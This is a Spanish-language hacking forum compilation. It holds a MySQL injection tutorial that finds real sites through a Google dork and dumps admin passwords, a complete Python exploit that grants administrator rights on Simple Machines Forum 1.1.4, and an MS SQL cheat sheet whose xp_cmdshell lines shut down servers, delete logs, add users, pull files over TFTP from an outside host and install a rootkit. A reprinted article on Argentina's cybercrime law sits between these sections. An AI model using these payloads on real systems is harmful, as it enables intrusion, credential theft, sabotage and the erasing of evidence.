Bueno, aqui me lanzo con mi primer articulo sobre inyeccion sql, en el cual abordare desde el testeo de la vulnerabilidad hasta la obtencion de toda la
informacion de la base de datos, tambien mostrare los errores comunes y como solucionarlos para obtener el resultado esperado.
Lo primero es buscar un sitio vulnerable, no seremos muy selectivos con el objetivo ya que es solo para aprender la tecnica.
====================================================
Google Dork : inurl:".php?id=" Powered by www.dowgroup.com
====================================================
Para este caso utilizaremos este dork entregado por P47r1ck en el foro de darkc0de.com, desconozco si fue el quien encontro el bug pero no viene al caso de
este tuto. Aprovecho de paso de mandarle saludos (Regards P47r1ck)
Si ingresamos ese dork apareceran una gran cantidad de sitios vulnerables incluyendo el de dowgroup.com pero ud elijan el que mas les acomode, para este
ejemplo utilizaremos:
http://vuln.site/division.php?id=
vamos a testear si es vulnerable visitandolo e inyectandole algo para ver como responde...
http://vuln.site/division.php?id=9'
y nos da algo como...
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/vuln.site/public_html/division.php on line 10
Entonces estamos ok.
Comenzamos con lo tipico...ver el numero de columnas..
http://vuln.site/division.php?id=-1+union+select+1 error...
http://vuln.site/division.php?id=-1+union+select+1,2 error...
http://vuln.site/division.php?id=-1+union+select+1,2,3 error...
http://vuln.site/division.php?id=-1+union+select+1,2,3,4
no aparece error entonces ya podemos comenzar a efectuar consultas mas robustas...
http://vuln.site/division.php?id=-1+union+select+1,concat_ws(char(58),version(),user(),database(),now()),3,4--
explicare un poco esta consulta si se fijan reemplaze en el numero 2 (pudo haber sido cualquiera de los 4 numeros)por:
concat_ws(char(58),version(),user(),database(),now())
concat_ws() funcion que permite concatenar cadenas pero se le pasa como parametro el caracter para separar estas cadenas concatenadas, en este caso use como
separador los dos puntos(:) o char(58).
Tambien se puede utilizar la funcion concat() pero es cuestion de gustos...
version()= entrega la version del motor de base de datos.
user() = esta claro no??
database()= el nombre de la base de datos.
now()= la fecha actual.
La salida a esta consulta deberia verse como esta:
5.0.45-community:dummy_user1@r19p.nsvulnwebhost.com.ar:vuln_db1:2008-06-28 05:01:30
Seguimos... ahora que tenemos el nombre de la base de datos debemos encontrar los nombres de las tablas y luego el de las columnas hasta obtener el valor de
los campos...
Manos a la obra se viene lo mas duro...
Obtencion de nombre de tablas:
Para obtener el nombre de las tablas usaremos la funcion information_schema.tables, la cual con el nombre de la base de datos mas la funcion limit podremos
obtener todos los nombres de las tablas.
Se utiliza de la siguiente manera...
http://www.vuln.site/division.php?id=-1+union+select+1,table_name,3,4+from+information_schema.tables+where+table_schema='vuln_db1'+limit+0,1--
Analizemos:
donde hiba el numero 2 coloque table_name y al final de los numeros de las columnas agregue:
+from+information_schema.tables (funcion que nos entrega el nombre de la tabla)
+where+table_schema='vuln_db1' que es la base de datos
+limit+0,1-- que es la funcion que me permitira ir recorriendo la base de datos para obtener todos los nombres de las tablas...
Pero resulta que esta consulta esta bien estructurada y escrita pero NO FUNCIONA...lo que pasa es que el servidor este tenia el Magic_quote: ON, por lo tuve
que transformar el nombre de la base de datos a caracteres ascii: y me quedo asi:
vuln_db1 = char(118,117,108,110,95,100,98,49)
Reemplace en la consulta anterior por lo que me quedo asi:
http://www.vuln.site/division.php?id=-1+union+select+1,table_name,3,4+from+information_schema.tables+where+table_schema=char(118,117,108,110,95,100,98,49)
+limit+0,1--
y bueno la respuesta es:
admin (he aqui el nombre de la primera tabla de la base de datos), ahora debemos modificar el valor de la funcion limit para ir obteniendo las demas tablas.
http://www.vuln.site/division.php?id=-1+union+select+1,table_name,3,4+from+information_schema.tables+where+table_schema=char(118,117,108,110,95,100,98,49)
+limit+1,1--
division
http://www.vuln.site/division.php?id=-1+union+select+1,table_name,3,4+from+information_schema.tables+where+table_schema=char(118,117,108,110,95,100,98,49)
+limit+2,1--
dynamic_pages
y asi hasta que NO nos entregue mas datos.
Ahora que tenemos el nombre de las tablas obtendremos el nombre de las columnas de dicha tabla y nos valdremos de la funcion:
information_schema.columns.
La consulta nos quedaria mas menos asi:
http://www.vuln.site/division.php?id=-1+union+select+1,column_name,3,4+from+information_schema.columns+where+table_schema=char(118,117,108,110,95,100,98,49)
+and+table_name=char(97,100,109,105,110)+limit+0,1--
que cambio con respecto a la consulta anterior??
que donde hiba table_name colocamos ahora column_name y la funcion information_schema.table paso a ser information_schema.columns ademas se agrego un and mas
el nombre de la tabla en ascii(admin=char(97,100,109,105,110).
El procedimiento sera el mismo iremos modificando el valor de limit hasta que no nos entregue resultados...
Que salida nos da:
admin_id (primera columna de tabla admin)
luego modificamos el limit
http://www.vuln.site/division.php?id=-1+union+select+1,column_name,3,4+from+information_schema.columns+where+table_schema=char(118,117,108,110,95,100,98,49)
+and+table_name=char(97,100,109,105,110)+limit+1,1--
user_name
http://www.vuln.site/division.php?id=-1+union+select+1,column_name,3,4+from+information_schema.columns+where+table_schema=char(118,117,108,110,95,100,98,49)
+and+table_name=char(97,100,109,105,110)+limit+2,1--
Password (esto se va poniendo interesante jejeje)
http://www.vuln.site/division.php?id=-1+union+select+1,column_name,3,4+from+information_schema.columns+where+table_schema=char(118,117,108,110,95,100,98,49)
+and+table_name=char(97,100,109,105,110)+limit+3,1--
email
y luego no entrego mas columnas por lo que concluimos que se acabaron los datos de esa tabla. El procedimiento para obtener los datos de las otras tablas es
igual solo se debe pasar el nombre de la tabla a ascii y reemplazarce en el campo table_schema.
Ahora para cumplir con lo prometido leeremos desde la tabla admin el admin_id, user_name, Password y el email...
http://www.vuln.site/division.php?id=-1+union+select+1,concat_ws(char(58),admin_id,user_name,password,email),3,4+from+admin--
y nos dara como resultado...
1:admin_vuln:yeyea:root@vuln.site
Y vuala asi es como se realiza una injeccion sql.
Espero haberles aclarado algo el panorama a todos aquellos que recien se inician, recuerden todo lo aqui expuesto es con fines meramente educativos y no me
hago responsable del daño que puedan causar con esta informacion.
Para pasar la cadena a valores ascii pueden utilizar la siguiente funcion en php:
$texto=$_POST['texto'];
if($submit)
{
$char="char(";
for($k=0; $k<=strlen($texto)-1; $k++)
{
$char.=ord($texto[$k]);
if ($k==strlen($texto)-1)
{
$char.=")";
}
else
{
$char.=",";
}
}
?>
la cual se envia desde un formulario mediante el metodo post... y la suben a algun server, o mas facil pueden utilizar el encoder programado por c1c4tr1z
en:http://www.new-bytes.net/encode/
Adjunto tambien un link de descarga de una aplicacion que realiza este trabajo en forma automatica...
http://darkc0de.com/others/schemafuzz.py
Saludos a c1c4tr1z,0zx,whk,p47r1ck and JosS.
atte,
n0b0dy
Mysql Inyexion by n0body
ley delitos informáticos argentina
La incorporación de los delitos informáticos al Código Penal argentino
26/06/2008
Tiempo promedio de lectura 7'49 minutos
Ley de delitos informáticos
Hace apenas un poquito más de dos semanas, más exactamente el 4 de Junio, fue sancionada la Ley 26.388 de Delitos Informáticos, incorporándose así Argentina a la lista de países que cuentan con regulación legal sobre esta importante cuestión.
La Ley 26.388 no es una ley especial, que regula este tipo de delitos en un cuerpo normativo separado del Código Penal (CP) con figuras propias y específicas, sino una ley que modifica, sustituye e incorpora figuras típicas a diversos artículos del CP actualmente en vigencia, con el objeto de regular las nuevas tecnologías como medios de comisión de delitos previstos en el CP.
Delitos informáticos penados y penas instituidas
A lo largo de su articulado tipifica, entre otros, los siguientes delitos informáticos:
• Pornografía infantil por Internet u otros medios electrónicos (art. 128 CP);
• Violación, apoderamiento y desvío de comunicación electrónica (art. 153, párrafo 1º CP);
• Intercepción o captación de comunicaciones electrónicas o telecomunicaciones (art. 153, párrafo 2º CP);
• Acceso a un sistema o dato informático (artículo 153 bis CP);
• Publicación de una comunicación electrónica (artículo 155 CP);
• Acceso a un banco de datos personales (artículo 157 bis, párrafo 1º CP);
• Revelación de información registrada en un banco de datos personales (artículo 157 bis, párrafo 2º CP);
• Inserción de datos falsos en un archivo de datos personales (artículo 157 bis, párrafo 2º CP; anteriormente regulado en el artículo 117 bis, párrafo 1º, incorporado por la Ley de Hábeas Data);
• Fraude informático (artículo 173, inciso 16 CP);
• Daño o sabotaje informático (artículos 183 y 184, incisos 5º y 6º CP).
Las penas establecidas son: a) prisión; b) inhabilitación (cuando el delito lo comete un funcionario público o el depositario de objetos destinados a servir de prueba); c) multa (ej. art. 155).
Delito concreto de daño informático. Interpretaciones
Puntualmente, destacamos el artículo 10 de la ley sancionada que dice: Incorpórase como segundo párrafo del artículo 183 del Código Penal, el siguiente:
“En la misma pena incurrirá el que alterare, destruyere o inutilizare datos, documentos, programas o sistemas informáticos; o vendiere, distribuyere, hiciere circular o introdujere en un sistema informático, cualquier programa destinado a causar daños”.
El motivo aludido para legislar en esta materia está claramente enunciado en el texto citado: el artículo 183 CP actualmente vigente, que tipifica el delito de daño en general, sólo es aplicable cuando la acción dañosa recae sobre un bien tangible, no cuando recae sobre un bien intangible, y tanto los datos como el software (programas) encuadran en esta última categoría. Según los Fundamentos del Proyecto de Ley la figura de daño del CP tal como está tipificada en el artículo 183 no es aplicable al daño informático.
Para tener mayor claridad sobre este punto, resulta conveniente transcribir el mencionado artículo 183, que dice lo siguiente: “Será reprimido con prisión de quince días a un año, el que destruyere, inutilizare, hiciere desaparecer o de cualquier modo dañare una cosa mueble o inmueble o un animal, total o parcialmente ajeno, siempre que el hecho no constituya otro delito más severamente penado”.
Lo mismo que en caso de la aplicación de la figura de estafa al fraude informático, lo correcto es afirmar, no que el artículo 183 CP no es aplicable al daño informático, sino que, tal como está redactado, no está claro que lo sea, y como en materia penal rige el principio de legalidad y la prohibición de la analogía, esa falta de claridad da lugar a interpretaciones encontradas. La jurisprudencia argentina se ha mostrado también en este punto vacilante, pronunciándose en algunos casos a favor de la aplicación de la figura, pero en la mayoría en contra de la aplicabilidad. Finalmente, resta decir que el texto original de la Cámara de Diputados sufrió una importante reforma en el Senado, sustituyéndose una redacción que podía llegar a dar pie a interpretaciones que afecten los intereses de las empresas de software.
El texto originalmente propuesto por la Cámara de Diputados establecía lo siguiente:
Incorpórase al artículo 183 del Código Penal de la Nación como segundo y tercero párrafos los siguientes:
"Se impondrá prisión de un mes a dos años, al que, por cualquier medio, destruyere en todo o en parte, borrare, alterare en forma temporal o permanente, o de cualquier manera impidiere la utilización de datos o programas, cualquiera sea el soporte en que estén contenidos durante un proceso de comunicación electrónica.
La misma pena se aplicará a quien vendiere, distribuyere o de cualquier manera hiciere circular o introdujere en un sistema informático, cualquier programa destinado a causar daños de los descriptos en el párrafo anterior, en los programas de computación o en los datos contenidos en cualquier tipo de sistema informático y de telecomunicaciones".
La redacción confusa del artículo propuesto daba pie a que pudiera interpretarse que el delito de daño informático se daría, entre otros supuestos, siempre que alguien, en virtud de la introducción de algún programa en un sistema informático o en otro programa, causara el daño consistente en impedir de cualquier manera la utilización de datos o programas, constituyéndose en una fuente potencial de conflictos para las empresas de software (que utilizan en sus productos los DRM) y contradiciendo el artículo 11 (“Las Partes Contratantes proporcionarán protección jurídica adecuada y recursos jurídicos efectivos contra la acción de eludir las medidas tecnológicas efectivas que sean utilizadas por los autores en relación con el ejercicio de sus derechos en virtud del presente Tratado o del Convenio de Berna y que, respecto de sus obras, restrinjan actos que no estén autorizados por los autores concernidos o permitidos por la Ley”) del Tratado de la OMPI sobre Derechos de Autor de 1996, vigente desde el 06/03/2002, y aprobado por Argentina en 1999.
En coincidencia con eso, es interesante lo que dice el Dictamen de Senadores, pero aludiendo, en este caso, al artículo 153:
El Dictamen de Comisiones de la Cámara de Senadores señala sobre el elemento normativo incorporado al tipo: “Con respecto al actual artículo 153 del Código Penal, última parte del primer párrafo (… suprimiere o desviare de su destino una correspondencia que no le esté dirigida) es razonable la propuesta de la Cámara de origen de incorporar no sólo la comunicación electrónica sino también la expresión ‘indebidamente’ en el tipo, para que no le queden dudas al intérprete respecto a requerir la finalidad dolosa del autor del delito, y evitar cualquier hermenéutica tendiente a considerar comprendidos en el tipo a quienes en procura de mejorar el servicio que prestan a sus usuarios, activan mecanismos de protección, tales como antivirus, filtros o algoritmos de desvío de correo electrónico para evitar lo que se conoce como spam, o la recepción de correos no deseados por sus clientes”.
Legislación internacional sobre delitos informáticos
Por otra parte, cabe señalar que, a nivel mundial, muchos países cuentan con legislación en materia de delitos informáticos, algunos incluso desde hace ya más de una década. A título ejemplificativo podemos mencionar los siguientes: Alemania (1986), USA (1986 y 1994), Austria (1987), Francia (1988), Inglaterra (1990), Italia (1993), Holanda (1993), España (1995) y el Consejo de Europa (Convención sobre el Cybercrimen de 2001).
También en Latinoamérica varios países han legislado este tipo de delitos, entre otros: Chile (Ley 19.223 de 1993), Bolivia (Ley 1.768 de 1997), Paraguay (reforma al CP en 1997), Perú (reforma al CP en 2000), Colombia (Ley 679 de 2001 sobre pornografía infantil en redes globales), Costa Rica (Leyes 8.131 y 8.148 de 2001), Venezuela (Ley Especial de 2001) y México (Código Penal Federal).
La importancia de la ley sancionada
La sanción de la Ley 26.388 constituye un gran avance en la materia; tal vez sea el acontecimiento del año para el derecho informático en Argentina. Sólo basta recordar, nuevamente, que en materia penal rigen los principios de legalidad (una acción no es delictiva si no está expresamente tipificada como tal por una ley, por más aberrante y dañosa que pueda llegar a ser) y, como consecuencia, la prohibición de la analogía (no se puede castigar una conducta no tipificada por su analogía con otra tipificada).
Es por ello que se hacía necesaria la sanción de una ley que tipificara con precisión las conductas delictivas llevadas a cabo mediante el empleo de la informática, llenando algunas lagunas normativas a través de la previsión de nuevas modalidades delictivas y nuevos bienes jurídicos a proteger. Sin embargo, la sanción de la mencionada ley no modifica sustancialmente el tema, al menos en lo que respecta a algunas conductas que ya habían sido encuadradas por la jurisprudencia argentina en los tipos previstos por el CP.
En síntesis, esta ley es producto de receptar cuestiones que han llegado a nuestros tribunales y que han sido ya resueltas, como así también de concretar compromisos internacionales asumidos por nuestro país. Algunos casos sometidos a la justicia penal han sido resueltos favorablemente a partir de la adopción de figuras penales existentes. A partir de ahora, personas físicas, empresas, instituciones, organismos públicos, etc., deberán tomar los recaudos necesarios para no ver comprometida su responsabilidad o imagen en la comisión de delitos sobre los que, hasta hoy, la jurisprudencia se había pronunciado, aunque no de manera unánime, pero que a partir de ahora podrán ser castigados en base a un claro fundamento legal.
Martín Carranza Torres y Horacio Bruera
Carranza Torres & Asociados
-Asesoramiento Legal en Tecnología-
Mas Alla de un simple XSS
Tutorial por parte de Tec-n0x donde se explican diferentes formas para explotar una falla XSS para defacear.
Link: editcodex.net/XSS.pdf
Simple Machines Forum 1.1.1 Inyexion
#!/usr/bin/python
"""
#=================================================================================================#
# ____ __________ __ ____ __ #
# /_ | ____ |__\_____ \ _____/ |_ /_ |/ |_ #
# | |/ \ | | _(__ <_/ ___\ __\ ______ | \ __\ #
# | | | \ | |/ \ \___| | /_____/ | || | #
# |___|___| /\__| /______ /\___ >__| |___||__| #
# \/\______| \/ \/ #
#=================================================================================================#
# This was a priv8 Exploit #
#=================================================================================================#
# Simple Machines Forum <= 1.1.4 #
# Sql Injection Vulnerability #
# Priviledge Escalation Exploit #
#====================================#===========#====================================#===========#
# Server Configuration Requirements # # Some Information # #
#====================================# #====================================# #
# # #
# register_globals = 1 # Vendor: www.simplemachines.org #
# # Author: The:Paradox #
#================================================# Severity: N/A #
# # #
# You may find exploits updates and more # #
# explanations on => # Proud To Be Italian. #
# http://paradox.altervista.org # #
# # #
#====================================#===========#================================================#
# Board Description # #
#====================================# #
# #
# Simple Machines Forum - SMF in short - is a free, professional grade software package that #
# allows you to set up your own online community within minutes. #
# Its powerful custom made template engine puts you in full control of the lay-out of your #
# message board and with our unique SSI - or Server Side Includes - function you can let your #
# forum and your website interact with each other. #
# SMF is written in the popular language PHP and uses a MySQL database. It is designed to provide #
# you with all the features you need from a bulletin board while having an absolute minimal #
# impact on the resources of the server. #
# SMF is the next generation of forum software - and best of all it is and will always #
# remain completely free! #
# #
#====================================#============================================================#
# Proof Of Concept / Bug Explanation # #
#====================================# #
# This is a quite old exploit and it is inapplicable on 1.1.5 version and on last 2.0 pre-release #
# (that's why I decided to public it). First, let's have a little poc. #
#=================================================================================================#
[Load.php]
148. if (isset($db_character_set) && preg_match('~^\w+$~', $db_character_set) === 1)
149. db_query("
150. SET NAMES $db_character_set", __FILE__, __LINE__);
#=================================================================================================#
# In Load.php if $db_character_set is set Smf will execute a Set Names Sql Query. #
# Directly from dev.mysql.com let's see what it means. #
# #
# "SET NAMES indicates what character set the client will use to send SQL statements to the #
# the server. Thus, SET NAMES 'cp1251' tells the server future incoming messages from this client #
# are in character set cp1251." #
# #
# Ok, now let's see what $db_character_set is. #
# $db_character_set is a "Settings.php variable" written only if a "Non-Default tick" #
# is checked during the installation process. #
# The real vulnerability is when the "Non-Default tick" is left unchecked, Smf doesn't write #
# it in "Settings.php" and no value is assigned to it: it's possible to set it #
# via register_globals. #
# #
# Now the cool poc section =D #
# Surely you saw that preg_match avoids any injection of non-alphanumerical chars in the query #
# at line 150 in Load.php #
# So, how is possible to take advantage of that? #
# To understand this vulnerability you have to comprehend some character set presents multibyte #
# characters and they may obiate addslashes() function. #
# Addslashes simply adds a backslash (0x5c) before single quote ('), double quote ("), #
# backslash (\) and NUL (the NULL byte), without checking if the added blackslash creates #
# another char. #
# No, i'm not going mad :P Here is an example: #
# #
# Bytes in Input #
# 0xa327 #
# #
# Addslashes(Bytes in Input) #
# 0xa35c27 #
# #
# In big5, but also in other multibyte charsets, 0xa35c is a valid char: 0x27 (') is left alone. #
# Therefore a lot of smf's queries are vulnerable if $db_character_set is settable. #
# In this exploit i will inject sql code in Update syntax, increasing user's privledges. #
#=================================================================================================#
# Exploit tested on 1.1.3 and 1.1.4 Smf's versions. #
#=================================================================================================#
# Use this exploit at your own risk. You are responsible for your own deeds. #
#=================================================================================================#
# Python Exploit Starts #
#=================================================================================================#
"""
from sys import argv, exit
from httplib import HTTPConnection
from urllib import urlencode, unquote
from time import sleep
print """
#=================================================================#
# Simple Machines Forum <= 1.1.4 #
# Sql Injection Vulnerability #
# Priviledge Escalation Exploit #
# #
# ###################################### #
# # Let's get administrator rights!!! # #
# ###################################### #
# #
# Discovered By The:Paradox #
# #
# Usage: #
# ./Exploit [Target] [Path] [PHPSessID] [Userid] #
# #
# Example: #
# ./Exploit 127.0.0.1 /SMF/ a574bfe34d95074dea69c00e38851722 9 #
# ./Exploit www.host.com / 11efb3b6031bc79a8dd7526750c42119 36 #
#=================================================================#
"""
if len(argv)<=4: exit()
sn = "PHPSESSID" # Session cookie name. You may have to change this.
port = 80
target = argv[1]
path = argv[2]
sv = argv[3]
uid = argv[4]
class killsmf:
def __init__(self):
print "[.] Exploit Starts."
self.GetSesc()
self.CreateLabels()
self.Inject()
print "[+] All done.\n Now user with ID_MEMBER " + uid + " should have administrator rights. \n -= Paradox Got This One =-"
def GetSesc(self):
print "[+] Trying to read Sesc"
for i in range (0,2):
conn = HTTPConnection(target,port)
conn.request("GET", path + "index.php?action=pm;sa=manlabels;", {}, {"Accept": "text/plain","Cookie": sn + "=" + sv + ";"})
rsp = conn.getresponse()
r = rsp.read()
if rsp.status == 404:
exit ("[-] Error 404. Not Found")
elif r.find('') != -1 :
self.sesc = r.split('')[0]
if len(self.sesc) != 32: exit ("[-] Invalid Sesc")
print "[+] Sesc has been successfully read ==> "+self.sesc
else:
exit ("[-] Unable to find Sesc")
def CreateLabels(self):
print "[+] Creating three labels..."
for i in range (0,3):
conn = HTTPConnection(target,port)
conn.request("POST", path + "index.php?action=pm;sa=manlabels;sesc="+self.sesc, urlencode({"label" : i, "add" : "Add+New+Label"}), {"Accept": "text/plain","Content-type": "application/x-www-form-urlencoded","Referer": "http://" + target + path + "/index.php?action=pm;sa=manlabels", "Cookie": sn + "=" + sv + ";"})
sleep(0.35)
def Inject(self):
print "[+] Sql code is going to be injected."
conn = HTTPConnection(target,port)
conn.request("POST", path + "index.php?debug;action=pm;sa=manlabels;sesc="+self.sesc, urlencode({"label_name[0]" : "o rly" + unquote("%a3%27"),"label_name[1]" : "ID_GROUP=1 WHERE/*", "label_name[2]" : "*/ID_MEMBER=" + uid + "/*", "save" : "Save", "sc" : self.sesc, "db_character_set": "big5"}), {"Accept": "text/plain","Content-type": "application/x-www-form-urlencoded","Referer": "http://" + target + path + "/index.php?action=pm;sa=manlabels", "Cookie": sn + "=" + sv + ";"})
killsmf()
Link: http://www.milw0rm.com/exploits/5826
Multiples fallas en fotolog :D
Bueno aca un DOC de nuestro compatriota Knet q al no ver respuesta de los administradores de Fotolog.com decidio hacer publicos los bugs dejamos el link al doc
http://remoteexecution.org/fotolog/public.html
MS SQL Injecting
-[ INFO ]---------------------------------------------------------------------
Title: MS SQL Injecting (TSQL commands)
Author: JosS
contact: sys-project[!]hotmail.com
site: http://spanish-hackers.com/
Spanish Hackers Team - [SHT]
EspSeC & Hack0wn!
from spain
* Spanish version -//
-[ INDEX ]---------------------------------------------------------------------
0x01: Introducción
0x02: Comandos
0x03: Caracteres
0x04: Variables
0x05: Tablas
0x06: Procedimientos
0x07: Exploits (hacking)
0x08: JosS
####### ---[ 0x01: Introducción ]--- #######
Los ataques de SQL Injection nos permiten diferentes puntos y modos de
ataque dependiendo del gestor de Base de Datos que se utilice, cada gestor
tiene sus propias características y lenguaje (Estructured Query language).
En este texto nos vamos a centrar en el gestor de base de datos de
'Microsoft' (MS SQL), el cual utiliza su propio lenguaje, llamado TSQL (Transact sql).
El motivo de elegir este objetivo como partida de nuestros ataques es por la poca
documentación que se encuentra sobre la explotación de esta.
He hay la cuestión.
####### ---[ 0x02: Comandos ]--- #######
- Determina la base de datos sobre la que se realizará la consulta.
use 'x'
use master select * from sysobjects
- Selección de los campos separados por comas dentro de la tabla seleccionada.
select 'x'
select username, password from users
- Carácter comodín.
*
select * from users
- Selección de tablas separadas por comas.
from 'x'
select * from tabla1,tabla2
- Determina una condición a cumplir.
where 'x'
select username,password from users where id=0 or id=1
- Permite ordenar los registros por las columnas deseadas.
order by 'x'
select username, password from users order by username Desc
- Permite realizar agrupaciones de registros.
group by 'x'
select count(rol) as cuenta, rol from usuarios group by rol
- Une dos sentencias sql en una sola.
union
select * from users union select * from users2
- Devuelve todos los campos de las tablas.
all
select * from users union all select * from users2
- Devuelve un determinado número de registros de la tabla.
top
select top 1 from users
- Permite borrar registros, archivos, etc.
delete
delete from users
- Quita todas las filas de una tabla sin registrar las eliminaciones.
truncate
truncate users
- Modifica valores de una tabla.
update
update users set pass='xxx'
- Inserta valores en una tabla.
insert
insert into users values ('joss',null)
- Permite crear objetos en la BD.
create
- Permite destruir objetos en la BD.
drop
- Permite modificar objetos en la BD.
alter
- Termina un proceso de usuario basado en el Id.
kill 'x'
kill 53
- Convierte las expresiones en otros tipos de datos.
cast
cast (expresión AS tipo de datos)
####### ---[ 0x03: Caracteres ]--- #######
- Delimitador de consultas para lanzar la sentencia actual.
;
- Delimitador de cadenas de datos de caracteres y fechas.
'
- Delimitador de comentarios.
--
select * from users-- esto no lo ejecuta
- delimitador de comentarios.
/*'x'*/
select * from users/* esto no lo ejecuta*/
- Da inicio al nombre de procedimientos almacenados.
xp_sp_
- Llamada a un procedimiento almacenado o función.
exec
execute
- Carácter de concatenación
+
select+username+from+users
####### ---[ 0x04: Variables ]--- #######
- Fecha y hora actuales.
current_timestamp
- Nombre de usuario de la BD que realiza la inserción.
current_user
- Nombre de usuario de sesión que realiza la inserción.
session_user
- Nombre de usuario de sistema que realiza la inserción.
system_user
- 0 si la instrucción TSQL anterior no encontró errores.
@@error
- Número de transacciones activas de la conexión.
@@tracount
- Id de la estación de trabajo.
host_id
- Nombre de la estación de trabajo.
host_name
- Nos da las estadísticas de entrada y salida de los archivos de BD.
fn_virtualfilestats
select * from :: fn_virtualfilestats(1,1)
- Información de los archivos de las distintas Base de Datos.
sys.master_files
- Contiene los nombres de las unidades compartidas por el servidor.
fn_servershareddrives
####### ---[ 0x05: Tablas ]--- #######
- syscolumns, almacena las columnas de cada tabla con sus propiedades.
- sysdepends, almacena las dependencias de unos objetos con otros en la BD.
- sysfilegroups, asocia los grupos ficheros (mdf, ldf, etc) de la BD a los ficheros en sí.
- sysfiles, almacenan los ficheros físicos en sí con su ruta correspondiente.
- sysforeignkeys, almacenan las claves foráneas de la BD.
- sysfulltextcatalogs, guarda información de los catálogos de sistema.
- sysindexes, guarda todas las indexaciones de combinaciones de campos sobre tablas de la BD.
- syspermissions, guarda permisos sobre los objetos de la BD.
- sysproperties, guarda descripciones de tablas y campos del modelo relacional.
- sysprotectsque, guarda información de permisos asociados a las cuentas de seguridad de la BD.
- sysreferences, guarda la información de las relaciones entre tablas de la BD.
- systypes, tipos de datos posbiles a definir en el gestor de BDsystypes.
- sysusers, roles de inicios de sesión posibles en la BD.
- sysfulltextnotify, syscursocolumns, syscursorrefs, syscursors, syscursortables, sysfiles1,
syslocks, sysxlogins, etc...
####### ---[ 0x06: Procedimientos ]--- #######
sp_addalias
sp_addapprole
sp_addgroup
sp_addlinkedsrvlogin
sp_addlogin
sp_addrole
sp_addrolemember
sp_addumpdevice
sp_adduser
sp_altermessage
sp_approlepassword
sp_change_users_login
sp_changedbowner
sp_changegroup
sp_changeobjectowner
sp_configure
sp_dbcmptlevel
sp_dboption (update)
sp_dboption update part
sp_defaultdb
sp_defaultlanguage
sp_denylogin
sp_diskdefault
sp_dropalias
sp_dropapprole
sp_dropdevice
sp_dropgroup
sp_droplinkedsrvlogin
sp_droplogin
sp_dropremotelogin
sp_droprole
sp_droprolemember
sp_dropuser
sp_fulltext_catalog
sp_fulltext_column
sp_fulltext_database
sp_fulltext_service
sp_fulltext_table
sp_grantdbaccess
sp_grantlogin
sp_helplogins
sp_password
sp_recompile
sp_refreshview
sp_remoteoption
sp_remoteoption (update)
sp_rename
sp_renamedb
sp_revokedbaccess
sp_revokelogin
sp_tableoption
sp_updatestats
(BOF)-->
xp_controlqueueservice
xp_createprivatequeue
xp_createqueue
xp_decodeq ueuecmd
xp_deleteprivatequeue
xp_deletequeue
xp_displayqueuemesgs
xp_dsninfo
xp_mergelineages
xp_oledbinfo
xp_proxiedmetadata
xp_readpkfromqueue
xp_readpkfromvar bin
xp_repl_encrypt
xp_resetqueue
xp_sqlinventory
xp_unpackcab
####### ---[ 0x07: Exploits ]--- #######
- Nombres de las distintas base de datos existentes en el gestor de BD:
use master select * from sysdatabases
- Obtenemos todas las tablas de todas las base de datos:
select * from sysobjects where xtype = 'U'
- Obtenemos los nombres de todas las tablas contenidas en la base de datos ('x'):
use 'x' select * from sysobjects where xtype = 'U'
use users select * from sysobjects where xtype = 'U'
- Obtenemos todo el código TSQL dado de alta en la BD:
select * from syscomments
- Obtenemos los procedimientos almacenados que usan las tablas o campos donde se manejan cuentas:
select * from syscomments where text like '%cuentas%'
- Obtenemos el inicio de sesión actual:
select current_user
- Obtenemos el usuario de la Base de Datos:
select user
- Obtenemos la versión de SQL Server:
select @@version
- Obtenemos la fecha actual del servidor:
select getdate()
- Información referente a los inicios de sesión del gestor de base de datos:
use master select name from sysxlogins
select name, password from sysxlogins
- Bases de datos existentes en el servidor:
use master select name from sysdatabases
- Leer archivos del sistema:
exec master..xp_readerrorlog 1,N'c:\boot.ini'
- Leer el registro de Windows:
exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Setup','SQLpath'
exec xp_instance_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Setup','SQLpath'
- Utilización de waitfor:
select * from 'x' waitfor delay '00:00:10'
select * from users waitfor delay '00:00:10'
- Denegación de servicio:
'; delete table usuarios--
'; xp_cmdshell ('shutdown')--
- Consultar y alterar archivos en el servidor:
exec master..xp_cmdshell 'COPY c:\winnt\system32\cmd.exe c:\inetpub\wwwroot\chroot.exe'
exec master..xp_cmdshell 'DIR c:\winnt\system32\logfiles\w3svc1\'
- Parar servicios:
exec master..xp_cmdshell 'NET STOP "Servicio de publicación de World Wide Web"'
- Borrado de huellas:
exec master..xp_cmdshell 'DEL c:\winnt\system32\logfiles\w3svc1|filelog.log'
- Iniciar un servicio:
exec master..xp_cmdshell 'NET START "Servicio de publicación de World Wide Web"'
- Cambiar datos de la cuenta de usuarios de Windows:
exec master..xp_cmdshell 'NET USER username password'
- Añadir un usuario al inicio de sesión del gestor de base de datos:
'exec master..sp_addlogin MyUser, MyPass
- Mover archivos desde otras ubicaciones:
execute master..xp_cmdshell 'TFTP -i www.spanish-hackers.com GET c:\local_file c:\remote_file'
- Creación de consultas encriptadas:
create procedure 'x' with encryption as select * from users
create procedure pp with encryption as select * from users
- Rootkits:
use master exec sp_addextendedproc 'mi_rootkit', 'c:\Archivos de programa\Microsoft SQLServer\
MSSQL\Binn\xplog70.dll' GO
- Backup:
'; use master BACKUP DATABASE [master] TO DISK = N'C:\h' WITH NOINIT, NOUNLOAD, NAME = N'C',
NOSKIP, STATS = 10, NOFORMAT--
####### ---[ 0x08: JosS ]--- #######
Jose Luis Góngora Fernández (JosS)
In memory of rgod.
Take care,
/JosS
# spanish-hackers.com
http://spanish-hackers.com/txt/tsql.txt
take care,
/JosS
Manuales Defacing
Link: http://www.mediafire.com/?9xmz2yuxout
Contenido:
- Inyection HTML
- Cracking FTP
- Remote File Inclusion
- Bug Unicode
- Ataque XSS
- Bug GoldLink
- Php Nuke 6.9 o anterior
- Invision Power Board V2.0.0 - 2.0.2 SQL Inyection
- SQL Inyection
- Shell con comandos PHP
- Remote File Inclusion en módulos Php
- Cross Site Scripting Atack
- Defacing with My_eGallery
- Ataques BruteForce
- Defacing en Zeroboard
- Deface con GNU3 Board
- Haciendo un Mass Defacement
- Shell con Firewall
- Bug ActiveX de Guninski
- PHP_Seguro
- RFI_Completo
- RFI_PhpNuke
- SQL_Inyection
- XSS_Completo